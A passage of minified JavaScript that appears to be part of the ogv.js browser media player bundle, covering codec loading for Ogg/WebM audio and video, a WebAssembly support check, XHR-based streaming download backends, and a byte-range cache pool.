this.demuxer.keyframeTimestamp}},nextKeyframeTimestamp:{get:function(){return this.demuxer.nextKeyframeTimestamp}},videoFormat:{get:function(){return this.hasVideo?this.videoDecoder.videoFormat:null}},frameBuffer:{get:function(){return this.hasVideo?this.videoDecoder.frameBuffer:null}},seekable:{get:function(){return this.demuxer.seekable}},demuxerCpuTime:{get:function(){return this.demuxer?this.demuxer.cpuTime:0}},audioCpuTime:{get:function(){return this.audioDecoder?this.audioDecoder.cpuTime:0}},videoCpuTime:{get:function(){return this.videoDecoder?this.videoDecoder.cpuTime:0}}}),this.loadedDemuxerMetadata=!1,this.loadedAudioMetadata=!1,this.loadedVideoMetadata=!1,this.loadedAllMetadata=!1,this.onseek=null,this.videoBytes=0,this.audioBytes=0,this}flushSafe(e){var t=this.flushIter;return i=&gt;{this.flushIter&lt;=t&amp;&amp;e(i)}}init(e){var t;this.processing=!0,t=&quot;video/webm&quot;===this.options.type||&quot;audio/webm&quot;===this.options.type?&quot;OGVDemuxerWebMW&quot;:&quot;OGVDemuxerOggW&quot;,d.default.loadClass(t,(t=&gt;{t().then((t=&gt;{this.demuxer=t,t.onseek=e=&gt;{this.onseek&amp;&amp;this.onseek(e)},t.init((()=&gt;{this.processing=!1,e()}))}))}))}close(){this.demuxer&amp;&amp;(this.demuxer.close(),this.demuxer=null),this.videoDecoder&amp;&amp;(this.videoDecoder.close(),this.videoDecoder=null),this.audioDecoder&amp;&amp;(this.audioDecoder.close(),this.audioDecoder=null)}receiveInput(e,t){this.demuxer.receiveInput(e,t)}process(e){if(this.processing)throw new Error(&quot;reentrancy fail on OGVWrapperCodec.process&quot;);this.processing=!0;var finish=t=&gt;{this.processing=!1,e(t)},doProcessData=()=&gt;{this.demuxer.process(finish)};this.demuxer.loadedMetadata&amp;&amp;!this.loadedDemuxerMetadata?this.loadAudioCodec((()=&gt;{this.loadVideoCodec((()=&gt;{this.loadedDemuxerMetadata=!0,this.loadedAudioMetadata=!this.audioDecoder,this.loadedVideoMetadata=!this.videoDecoder,this.loadedAllMetadata=this.loadedAudioMetadata&amp;&amp;this.loadedVideoMetadata,finish(!0)}))})):this.loadedDemuxerMetadata&amp;&amp;!this.loadedAudioMetadata?this.audioDecoder.loadedMetadata?(this.loadedAudioMetadata=!0,this.loadedAllMetadata=this.loadedAudioMetadata&amp;&amp;this.loadedVideoMetadata,finish(!0)):this.demuxer.audioReady?this.demuxer.dequeueAudioPacket(((e,t)=&gt;{this.audioBytes+=e.byteLength,this.audioDecoder.processHeader(e,(e=&gt;{finish(!0)}))})):doProcessData():this.loadedAudioMetadata&amp;&amp;!this.loadedVideoMetadata?this.videoDecoder.loadedMetadata?(this.loadedVideoMetadata=!0,this.loadedAllMetadata=this.loadedAudioMetadata&amp;&amp;this.loadedVideoMetadata,finish(!0)):this.demuxer.frameReady?(this.processing=!0,this.demuxer.dequeueVideoPacket((e=&gt;{this.videoBytes+=e.byteLength,this.videoDecoder.processHeader(e,(()=&gt;{finish(!0)}))}))):doProcessData():this.loadedVideoMetadata&amp;&amp;!this.loadedMetadata&amp;&amp;this.loadedAllMetadata?(this.loadedMetadata=!0,finish(!0)):!this.loadedMetadata||this.hasAudio&amp;&amp;!this.demuxer.audioReady||this.hasVideo&amp;&amp;!this.demuxer.frameReady?doProcessData():finish(!0)}decodeFrame(e){var t=this.flushSafe(e),i=this.frameTimestamp,s=this.keyframeTimestamp;this.demuxer.dequeueVideoPacket((e=&gt;{this.videoBytes+=e.byteLength,this.videoDecoder.processFrame(e,(e=&gt;{var d=this.videoDecoder.frameBuffer;d&amp;&amp;(d.timestamp=i,d.keyframeTimestamp=s),t(e)}))}))}decodeAudio(e){var t=this.flushSafe(e);this.demuxer.dequeueAudioPacket(((e,i)=&gt;{this.audioBytes+=e.byteLength,this.audioDecoder.processAudio(e,(e=&gt;{if(i){var s=this.audioDecoder.audioBuffer,d=[];for(var h of s){var u=Math.round(i*this.audioFormat.rate/1e9);u&gt;0?d.push(h.subarray(0,h.length-Math.min(u,h.length))):d.push(h.subarray(Math.min(Math.abs(u),h.length),h.length))}this.audioDecoder.audioBuffer=d}return t(e)}))}))}discardFrame(e){this.demuxer.dequeueVideoPacket((t=&gt;{this.videoBytes+=t.byteLength,e()}))}discardAudio(e){this.demuxer.dequeueAudioPacket(((t,i)=&gt;{this.audioBytes+=t.byteLength,e()}))}flush(e){this.flushIter++,this.demuxer.flush(e)}sync(){this.videoDecoder&amp;&amp;this.videoDecoder.sync()}recycleFrame(e){this.videoDecoder&amp;&amp;this.videoDecoder.recycleFrame(e)}getKeypointOffset(e,t){this.demuxer.getKeypointOffset(e,t)}seekToKeypoint(e,t){this.demuxer.seekToKeypoint(e,this.flushSafe(t))}loadAudioCodec(e){if(this.demuxer.audioCodec){var t={vorbis:&quot;OGVDecoderAudioVorbisW&quot;,opus:&quot;OGVDecoderAudioOpusW&quot;}[this.demuxer.audioCodec];this.processing=!0,d.default.loadClass(t,(t=&gt;{var i={};this.demuxer.audioFormat&amp;&amp;(i.audioFormat=this.demuxer.audioFormat),t(i).then((t=&gt;{this.audioDecoder=t,t.init((()=&gt;{this.loadedAudioMetadata=t.loadedMetadata,this.processing=!1,e()}))}))}),{worker:this.options.worker})}else e()}loadVideoCodec(e){if(this.demuxer.videoCodec){var t=!!this.options.simd,i=!!this.options.threading,s={theora:&quot;OGVDecoderVideoTheoraW&quot;,vp8:i?&quot;OGVDecoderVideoVP8MTW&quot;:&quot;OGVDecoderVideoVP8W&quot;,vp9:i?t?&quot;OGVDecoderVideoVP9SIMDMTW&quot;:&quot;OGVDecoderVideoVP9MTW&quot;:t?&quot;OGVDecoderVideoVP9SIMDW&quot;:&quot;OGVDecoderVideoVP9W&quot;,av1:i?t?&quot;OGVDecoderVideoAV1SIMDMTW&quot;:&quot;OGVDecoderVideoAV1MTW&quot;:t?&quot;OGVDecoderVideoAV1SIMDW&quot;:&quot;OGVDecoderVideoAV1W&quot;}[this.demuxer.videoCodec];this.processing=!0,d.default.loadClass(s,(t=&gt;{var s={};this.demuxer.videoFormat&amp;&amp;(s.videoFormat=this.demuxer.videoFormat),i&amp;&amp;delete window.ENVIRONMENT_IS_PTHREAD,t(s).then((t=&gt;{this.videoDecoder=t,t.init((()=&gt;{this.loadedVideoMetadata=t.loadedMetadata,this.processing=!1,e()}))}))}),{worker:this.options.worker&amp;&amp;!this.options.threading})}else e()}}},539:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var i=new class{constructor(){this.tested=!1,this.testResult=void 0}wasmSupported(){if(!this.tested){try{&quot;object&quot;==typeof WebAssembly?this.testResult=function(){var e=new Uint8Array([0,97,115,109,1,0,0,0,1,6,1,96,1,127,1,127,3,2,1,0,5,3,1,0,1,7,8,1,4,116,101,115,116,0,0,10,16,1,14,0,32,0,65,1,54,2,0,32,0,40,2,0,11]),t=new WebAssembly.Module(e);return 0!==new WebAssembly.Instance(t,{}).exports.test(4)}():this.testResult=!1}catch(e){console.log(&quot;Exception while testing WebAssembly&quot;,e),this.testResult=!1}this.tested=!0}return this.testResult}};t.default=i},309:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0,t.default=function(e,t){for(var i in t)t.hasOwnProperty(i)&amp;&amp;(e[i]=t[i])}},431:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}(),d=function get(e,t,i){null===e&amp;&amp;(e=Function.prototype);var s=Object.getOwnPropertyDescriptor(e,t);if(void 0===s){var d=Object.getPrototypeOf(e);return null===d?void 0:get(d,t,i)}if(&quot;value&quot;in s)return s.value;var h=s.get;return void 0!==h?h.call(i):void 0};function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function _possibleConstructorReturn(e,t){if(!e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return!t||&quot;object&quot;!=typeof t&amp;&amp;&quot;function&quot;!=typeof t?e:t}var h=i(828),u=&quot;arraybuffer&quot;,c=function(e){function ArrayBufferBackend(){return _classCallCheck(this,ArrayBufferBackend),_possibleConstructorReturn(this,(ArrayBufferBackend.__proto__||Object.getPrototypeOf(ArrayBufferBackend)).apply(this,arguments))}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function, not &quot;+typeof t);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&amp;&amp;(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(ArrayBufferBackend,e),s(ArrayBufferBackend,[{key:&quot;initXHR&quot;,value:function(){d(ArrayBufferBackend.prototype.__proto__||Object.getPrototypeOf(ArrayBufferBackend.prototype),&quot;initXHR&quot;,this).call(this),this.xhr.responseType=u}},{key:&quot;onXHRProgress&quot;,value:function(){}},{key:&quot;onXHRLoad&quot;,value:function(){var e=this.xhr.response;this.bytesRead+=e.byteLength,this.emit(&quot;buffer&quot;,e),d(ArrayBufferBackend.prototype.__proto__||Object.getPrototypeOf(ArrayBufferBackend.prototype),&quot;onXHRLoad&quot;,this).call(this)}}]),ArrayBufferBackend}(h);c.supported=function(){try{var e=new XMLHttpRequest;return e.responseType=u,e.responseType===u}catch(e){return!1}},e.exports=c},306:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}();function getXHRRangeMatches(e){var t=e.getResponseHeader(&quot;Content-Range&quot;);return t&amp;&amp;t.match(/^bytes (\d+)-(\d+)\/(\d+)/)}var d=function(e){function Backend(e){var t=e.url,i=e.offset,s=e.length,d=e.cachever,h=void 0===d?0:d;!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,Backend);var u=function(e,t){if(!e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return!t||&quot;object&quot;!=typeof t&amp;&amp;&quot;function&quot;!=typeof t?e:t}(this,(Backend.__proto__||Object.getPrototypeOf(Backend)).call(this));return u.url=t,u.offset=i,u.length=s,u.cachever=h,u.loaded=!1,u.seekable=!1,u.headers={},u.eof=!1,u.bytesRead=0,u.xhr=new XMLHttpRequest,u}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function, not &quot;+typeof t);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&amp;&amp;(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(Backend,e),s(Backend,[{key:&quot;load&quot;,value:function(){var e=this;return new Promise((function(t,i){var s=null;e._onAbort=function(e){s(),i(e)};var d=function(){if(2==e.xhr.readyState){if(206==e.xhr.status){var d=function(e){var t=getXHRRangeMatches(e);return t?parseInt(t[1],10):0}(e.xhr);if(e.offset!=d)return console.log(&quot;Expected start at &quot;+e.offset+&quot; but got &quot;+d+&quot;; working around Safari range caching bug: https://bugs.webkit.org/show_bug.cgi?id=82672&quot;),e.cachever++,e.emit(&quot;cachever&quot;),e.abort(),s(),void e.load().then(t).catch(i);e.seekable=!0}e.xhr.status&gt;=200&amp;&amp;e.xhr.status&lt;300?(e.length=function(e){if(206==e.status)return function(e){var t=getXHRRangeMatches(e);return t?parseInt(t[3],10):-1}(e);var t=e.getResponseHeader(&quot;Content-Length&quot;);return null===t||&quot;&quot;===t?-1:parseInt(t,10)}(e.xhr),e.headers=function(e){var t={};return e.getAllResponseHeaders().split(/\r?\n/).forEach((function(e){var i=e.split(/:\s*/,2);i.length&gt;1&amp;&amp;(t[i[0].toLowerCase()]=i[1])})),t}(e.xhr),e.onXHRStart()):(s(),i(new Error(&quot;HTTP error &quot;+e.xhr.status)))}},h=function(){s(),i(new Error(&quot;network error&quot;))},u=function(){s(),t()};s=function(){e.xhr.removeEventListener(&quot;readystatechange&quot;,d),e.xhr.removeEventListener(&quot;error&quot;,h),e.off(&quot;open&quot;,u),e._onAbort=null},e.initXHR(),e.xhr.addEventListener(&quot;readystatechange&quot;,d),e.xhr.addEventListener(&quot;error&quot;,h),e.on(&quot;open&quot;,u),e.xhr.send()}))}},{key:&quot;bufferToOffset&quot;,value:function(e){return Promise.reject(new Error(&quot;abstract&quot;))}},{key:&quot;abort&quot;,value:function(){if(this.xhr.abort(),this._onAbort){var e=this._onAbort;this._onAbort=null;var t=new Error(&quot;Aborted&quot;);t.name=&quot;AbortError&quot;,e(t)}}},{key:&quot;initXHR&quot;,value:function(){var e=this.url;this.cachever&amp;&amp;(e+=&quot;?buggy_cachever=&quot;+this.cachever),this.xhr.open(&quot;GET&quot;,e);var t=null;(this.offset||this.length)&amp;&amp;(t=&quot;bytes=&quot;+this.offset+&quot;-&quot;),this.length&amp;&amp;(t+=this.offset+this.length-1),null!==t&amp;&amp;this.xhr.setRequestHeader(&quot;Range&quot;,t)}},{key:&quot;onXHRStart&quot;,value:function(){throw new Error(&quot;abstract&quot;)}}]),Backend}(i(566));e.exports=d},810:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}(),d=function get(e,t,i){null===e&amp;&amp;(e=Function.prototype);var s=Object.getOwnPropertyDescriptor(e,t);if(void 0===s){var d=Object.getPrototypeOf(e);return null===d?void 0:get(d,t,i)}if(&quot;value&quot;in s)return s.value;var h=s.get;return void 0!==h?h.call(i):void 0};function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function _possibleConstructorReturn(e,t){if(!e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return!t||&quot;object&quot;!=typeof t&amp;&amp;&quot;function&quot;!=typeof t?e:t}var h=function(e){function BinaryStringBackend(){return _classCallCheck(this,BinaryStringBackend),_possibleConstructorReturn(this,(BinaryStringBackend.__proto__||Object.getPrototypeOf(BinaryStringBackend)).apply(this,arguments))}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function, not &quot;+typeof t);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&amp;&amp;(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(BinaryStringBackend,e),s(BinaryStringBackend,[{key:&quot;initXHR&quot;,value:function(){d(BinaryStringBackend.prototype.__proto__||Object.getPrototypeOf(BinaryStringBackend.prototype),&quot;initXHR&quot;,this).call(this),this.xhr.responseType=&quot;text&quot;,this.xhr.overrideMimeType(&quot;text/plain; charset=x-user-defined&quot;)}},{key:&quot;onXHRProgress&quot;,value:function(){var e=this.xhr.responseText.slice(this.bytesRead);e.length&gt;0&amp;&amp;(this.bytesRead+=e.length,this.emit(&quot;buffer&quot;,e))}},{key:&quot;onXHRLoad&quot;,value:function(){this.onXHRProgress(),d(BinaryStringBackend.prototype.__proto__||Object.getPrototypeOf(BinaryStringBackend.prototype),&quot;onXHRLoad&quot;,this).call(this)}}]),BinaryStringBackend}(i(828));h.supported=function(){try{return!!(new XMLHttpRequest).overrideMimeType}catch(e){return!1}},e.exports=h},828:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}(),d=function get(e,t,i){null===e&amp;&amp;(e=Function.prototype);var s=Object.getOwnPropertyDescriptor(e,t);if(void 0===s){var d=Object.getPrototypeOf(e);return null===d?void 0:get(d,t,i)}if(&quot;value&quot;in s)return s.value;var h=s.get;return void 0!==h?h.call(i):void 0};function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function _possibleConstructorReturn(e,t){if(!e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return!t||&quot;object&quot;!=typeof t&amp;&amp;&quot;function&quot;!=typeof t?e:t}var h=function(e){function DownloadBackend(){return _classCallCheck(this,DownloadBackend),_possibleConstructorReturn(this,(DownloadBackend.__proto__||Object.getPrototypeOf(DownloadBackend)).apply(this,arguments))}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function, not &quot;+typeof t);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&amp;&amp;(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(DownloadBackend,e),s(DownloadBackend,[{key:&quot;bufferToOffset&quot;,value:function(e){var t=this;return new Promise((function(i,s){if(t.eof||t.offset&gt;=e)i();else{var d=null;t._onAbort=function(e){d(),s(e)};var h=function(){t.offset&gt;=e&amp;&amp;!t.eof&amp;&amp;(d(),i())},u=function(){d(),i()},c=function(){d(),s(new Error(&quot;error streaming&quot;))};d=function(){t.buffering=!1,t.off(&quot;buffer&quot;,h),t.off(&quot;done&quot;,u),t.off(&quot;error&quot;,c),t._onAbort=null},t.buffering=!0,t.on(&quot;buffer&quot;,h),t.on(&quot;done&quot;,u),t.on(&quot;error&quot;,c)}}))}},{key:&quot;initXHR&quot;,value:function(){d(DownloadBackend.prototype.__proto__||Object.getPrototypeOf(DownloadBackend.prototype),&quot;initXHR&quot;,this).call(this)}},{key:&quot;onXHRStart&quot;,value:function(){var e=this;this.xhr.addEventListener(&quot;progress&quot;,(function(){return e.onXHRProgress()})),this.xhr.addEventListener(&quot;error&quot;,(function(){return e.onXHRError()})),this.xhr.addEventListener(&quot;load&quot;,(function(){return e.onXHRLoad()})),this.emit(&quot;open&quot;)}},{key:&quot;onXHRProgress&quot;,value:function(){throw new Error(&quot;abstract&quot;)}},{key:&quot;onXHRError&quot;,value:function(){this.emit(&quot;error&quot;)}},{key:&quot;onXHRLoad&quot;,value:function(){this.eof=!0,this.emit(&quot;done&quot;)}}]),DownloadBackend}(i(306));e.exports=h},761:(e,t,i)=&gt;{var s=i(855),d=i(810),h=i(431),u=null;e.exports=function(e){if(!1===e.progressive)return new h(e);if(u||(u=s.supported()?s:d.supported()?d:null),!u)throw new Error(&quot;No supported backend class&quot;);return new u(e)}},855:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}(),d=function get(e,t,i){null===e&amp;&amp;(e=Function.prototype);var s=Object.getOwnPropertyDescriptor(e,t);if(void 0===s){var d=Object.getPrototypeOf(e);return null===d?void 0:get(d,t,i)}if(&quot;value&quot;in s)return s.value;var h=s.get;return void 0!==h?h.call(i):void 0};function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function _possibleConstructorReturn(e,t){if(!e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return!t||&quot;object&quot;!=typeof t&amp;&amp;&quot;function&quot;!=typeof t?e:t}var h=i(828),u=&quot;moz-chunked-arraybuffer&quot;,c=function(e){function MozChunkedBackend(){return _classCallCheck(this,MozChunkedBackend),_possibleConstructorReturn(this,(MozChunkedBackend.__proto__||Object.getPrototypeOf(MozChunkedBackend)).apply(this,arguments))}return function(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Super expression must either be null or a function, not &quot;+typeof t);e.prototype=Object.create(t&amp;&amp;t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&amp;&amp;(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(MozChunkedBackend,e),s(MozChunkedBackend,[{key:&quot;initXHR&quot;,value:function(){d(MozChunkedBackend.prototype.__proto__||Object.getPrototypeOf(MozChunkedBackend.prototype),&quot;initXHR&quot;,this).call(this),this.xhr.responseType=u}},{key:&quot;onXHRProgress&quot;,value:function(){var e=this.xhr.response;this.bytesRead+=e.byteLength,this.emit(&quot;buffer&quot;,e)}}]),MozChunkedBackend}(h);c.supported=function(){try{var e=new XMLHttpRequest;return e.responseType=u,e.responseType===u}catch(e){return!1}},e.exports=c},503:e=&gt;{var t=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}();function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}var i=function(){function CacheItem(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=e.buffer,i=void 0===t?void 0:t,s=e.string,d=void 0===s?void 0:s,h=e.start,u=void 0===h?0:h,c=e.end,l=void 0===c?u+(i?i.byteLength:d?d.length:0):c,f=e.prev,_=void 0===f?null:f,p=e.next,m=void 0===p?null:p,g=e.eof,v=void 0!==g&amp;&amp;g,y=e.empty,b=void 0===y?!(i||d):y,T=e.timestamp,k=void 0===T?Date.now():T;_classCallCheck(this,CacheItem),this.start=u,this.end=l,this.prev=_,this.next=m,this.eof=v,this.empty=b,this.timestamp=k,this.buffer=i,this.string=d,Object.defineProperty(this,&quot;length&quot;,{get:function(){return this.end-this.start}})}return t(CacheItem,[{key:&quot;contains&quot;,value:function(e){return e&gt;=this.start&amp;&amp;(e&lt;this.end||this.eof)}},{key:&quot;readBytes&quot;,value:function(e,t,i){var s=t-this.start,d=i-t;if(this.buffer){var h=new Uint8Array(this.buffer,s,d);e.set(h)}else{if(!this.string)throw new Error(&quot;invalid state&quot;);for(var u=this.string,c=0;c&lt;d;c++)e[c]=u.charCodeAt(s+c)}this.timestamp=Date.now()}},{key:&quot;split&quot;,value:function(e){if(!this.empty||!this.contains(e))throw new Error(&quot;invalid split&quot;);var t=new CacheItem({start:this.start,end:e}),i=new CacheItem({start:e,end:this.eof?e:this.end,eof:this.eof});return t.next=i,i.prev=t,[t,i]}},{key:&quot;first&quot;,value:function(e){for(var t=this;t;t=t.next)if(e(t))return t;return null}},{key:&quot;last&quot;,value:function(e){for(var last=null,t=this;t&amp;&amp;e(t);t=t.next)last=t;return last}}]),CacheItem}();e.exports=i},91:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}();function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}var d=i(503),h=function(){function CachePool(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=e.cacheSize,i=void 0===t?0:t;_classCallCheck(this,CachePool);var s=new d({eof:!0});this.head=s,this.tail=s,this.readOffset=0,this.readCursor=s,this.writeOffset=0,this.writeCursor=s,this.cacheSize=i}return s(CachePool,[{key:&quot;bytesReadable&quot;,value:function(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:1/0,t=this.readOffset,i=this.readCursor,s=i.last((function(i){return!i.empty&amp;&amp;i.start&lt;=t+e}));return s?Math.min(e,s.end-t):0}},{key:&quot;bytesWritable&quot;,value:function(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:1/0,t=this.writeOffset,i=this.writeCursor;if(i.eof)return e;var s=i.last((function(i){return i.empty&amp;&amp;i.start&lt;=t+e}));return s?Math.min(e,s.end-t):0}},{key:&quot;seekRead&quot;,value:function(e){var t=this.head.first((function(t){return t.contains(e)}));if(!t)throw new Error(&quot;read seek out of range&quot;);this.readOffset=e,this.readCursor=t}},{key:&quot;seekWrite&quot;,value:function(e){var t=this.head.first((function(t){return t.contains(e)}));if(!t)throw new Error(&quot;write seek out of range&quot;);this.writeOffset=e,this.writeCursor=t}},{key:&quot;readBytes&quot;,value:function(e){for(var t=e.byteLength,i=this.bytesReadable(t),s=this.readOffset,d=s+i,h=s,u=this.readCursor;u&amp;&amp;!u.empty&amp;&amp;!(u.start&gt;=d);u=u.next){var c=Math.min(d,u.end),l=e.subarray(h-s,c-s);u.readBytes(l,h,c),h=c}return this.readOffset=h,this.readCursor=this.readCursor.first((function(e){return e.contains(h)})),i}},{key:&quot;write&quot;,value:function(e){var t=this.bufferItem(e),i=this.writeCursor;if(!i.empty)throw new Error(&quot;write cursor not empty&quot;);if(!i.contains(t.end)&amp;&amp;i.end!==t.end)throw new Error(&quot;write cursor too small&quot;);i.start&lt;t.start&amp;&amp;(this.split(i,t.start),i=this.writeCursor),(t.end&lt;i.end||i.eof)&amp;&amp;(this.split(i,t.end),i=this.writeCursor),this.splice(i,i,t,t),this.writeOffset=t.end,this.writeCursor=t.next,this.gc()}},{key:&quot;bufferItem&quot;,value:function(e){if(e instanceof ArrayBuffer)return new d({start:this.writeOffset,end:this.writeOffset+e.byteLength,buffer:e});if(&quot;string&quot;==typeof e)return new d({start:this.writeOffset,end:this.writeOffset+e.length,string:e});throw new Error(&quot;invalid input to write&quot;)}},{key:&quot;split&quot;,value:function(e,t){var i=e.split(t);this.splice(e,e,i[0],i[1])}},{key:&quot;ranges&quot;,value:function(){for(var ranges=[],e=this.head;e;e=e.next)if(!e.empty){var t=e;e=e.last((function(e){return!e.empty})),ranges.push([t.start,e.end])}return ranges}},{key:&quot;gc&quot;,value:function(){for(var e=0,t=[],i=this.head;i;i=i.next)i.empty||(e+=i.length,(i.end&lt;this.readOffset||i.start&gt;this.readOffset+this.chunkSize)&amp;&amp;t.push(i));if(e&gt;this.cacheSize){t.sort((function(e,t){return e.timestamp-t.timestamp}));for(var s=0;s&lt;t.length;s++){var d=t[s];if(e&lt;=this.cacheSize)break;this.remove(d),e-=d.length}}}},{key:&quot;remove&quot;,value:function(e){var t=new d({start:e.start,end:e.end});this.splice(e,e,t,t),(e=t).prev&amp;&amp;e.prev.empty&amp;&amp;(e=this.consolidate(e.prev)),e.next&amp;&amp;e.next.empty&amp;&amp;!e.next.eof&amp;&amp;(e=this.consolidate(e)),0===e.start&amp;&amp;(this.head=e)}},{key:&quot;consolidate&quot;,value:function(e){var t=e.last((function(e){return e.empty&amp;&amp;!e.eof})),i=new d({start:e.start,end:t.end});return this.splice(e,t,i,i),i}},{key:&quot;splice&quot;,value:function(e,t,i,s){var d=this;if(e.start!==i.start)throw new Error(&quot;invalid splice head&quot;);if(!(t.end===s.end||t.eof&amp;&amp;s.eof))throw new Error(&quot;invalid splice tail&quot;);var h=e.prev,u=t.next;e.prev=null,t.next=null,h&amp;&amp;(h.next=i,i.prev=h),u&amp;&amp;(u.prev=s,s.next=u),e===this.head&amp;&amp;(this.head=i),t===this.tail&amp;&amp;(this.tail=s),this.readCursor=this.head.first((function(e){return e.contains(d.readOffset)})),this.writeCursor=this.head.first((function(e){return e.contains(d.writeOffset)}))}},{key:&quot;eof&quot;,get:function(){return this.readCursor.eof}}]),CachePool}();e.exports=h},814:(e,t,i)=&gt;{e.exports=i(91)},566:e=&gt;{var t=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}(),i=function(){function TinyEvents(){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,TinyEvents),this._e={}}return t(TinyEvents,[{key:&quot;on&quot;,value:function(e,t){(this._e[e]||(this._e[e]=[])).push(t)}},{key:&quot;off&quot;,value:function(e,t){var i=this._e[e]||[],s=i.indexOf(t);t&gt;=0&amp;&amp;i.splice(s,1)}},{key:&quot;emit&quot;,value:function(e,t){(this._e[e]||[]).slice().forEach((function(e){return e(t)}))}}]),TinyEvents}();e.exports=i},936:(e,t,i)=&gt;{var s=function(){function defineProperties(e,t){for(var i=0;i&lt;t.length;i++){var s=t[i];s.enumerable=s.enumerable||!1,s.configurable=!0,&quot;value&quot;in s&amp;&amp;(s.writable=!0),Object.defineProperty(e,s.key,s)}}return function(e,t,i){return 